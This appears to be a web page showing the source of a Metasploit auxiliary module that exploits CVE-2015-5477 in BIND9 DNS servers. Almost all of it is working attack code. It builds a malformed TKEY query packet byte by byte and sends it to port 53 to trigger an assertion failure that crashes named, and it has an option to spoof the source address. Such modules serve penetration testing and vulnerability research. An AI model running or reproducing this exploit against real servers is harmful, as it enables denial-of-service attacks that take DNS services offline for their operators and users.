Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/dns/bind_tkey.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::UDPScanner8include Msf::Auxiliary::Dos910def initialize(info = {})11super(update_info(info,12'Name' => 'BIND TKEY Query Denial of Service',13'Description' => %q{14This module sends a malformed TKEY query, which exploits an15error in handling TKEY queries on affected BIND9 'named' DNS servers.16As a result, a vulnerable named server will exit with a REQUIRE17assertion failure. This condition can be exploited in versions of BIND18between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.019through 9.10.2-P2.20},21'Author' => [22'Jonathan Foote', # Original discoverer23'throwawayokejxqbbif', # PoC24'wvu' # Metasploit module25],26'References' => [27['CVE', '2015-5477'],28['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'],29['URL', 'https://kb.isc.org/article/AA-01272']30],31'DisclosureDate' => '2015-07-28',32'License' => MSF_LICENSE,33'DefaultOptions' => {'ScannerRecvWindow' => 0}34))3536register_options([37Opt::RPORT(53),38OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])39])4041deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')42end4344def scan_host(ip)45if datastore['SRC_ADDR']46scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])47else48print_status("Sending packet to #{ip}")49scanner_send(payload, ip, rport)50end51end5253def payload54name = Rex::Text.rand_text_alphanumeric(rand(42) + 1)55txt = Rex::Text.rand_text_alphanumeric(rand(42) + 1)5657name_length = [name.length].pack('C')58txt_length = [txt.length].pack('C')59data_length = [txt.length + 1].pack('n')60ttl = [rand(2 ** 31 - 1) + 1].pack('N')6162query = "\x00\x00" # Transaction ID: 0x000063query << "\x00\x00" # Flags: 0x0000 Standard query64query << "\x00\x01" # Questions: 165query << "\x00\x00" # Answer RRs: 066query << "\x00\x00" # Authority RRs: 067query << "\x00\x01" # Additional RRs: 16869query << name_length # [Name Length]70query << name # Name71query << "\x00" # [End of name]72query << "\x00\xf9" # Type: TKEY (Transaction Key) (249)73query << "\x00\x01" # Class: IN (0x0001)7475query << name_length # [Name Length]76query << name # Name77query << "\x00" # [End of name]78query << "\x00\x10" # Type: TXT (Text strings) (16)79query << "\x00\x01" # Class: IN (0x0001)80query << ttl # Time to live81query << data_length # Data length82query << txt_length # TXT Length83query << txt # TXT84end85end868788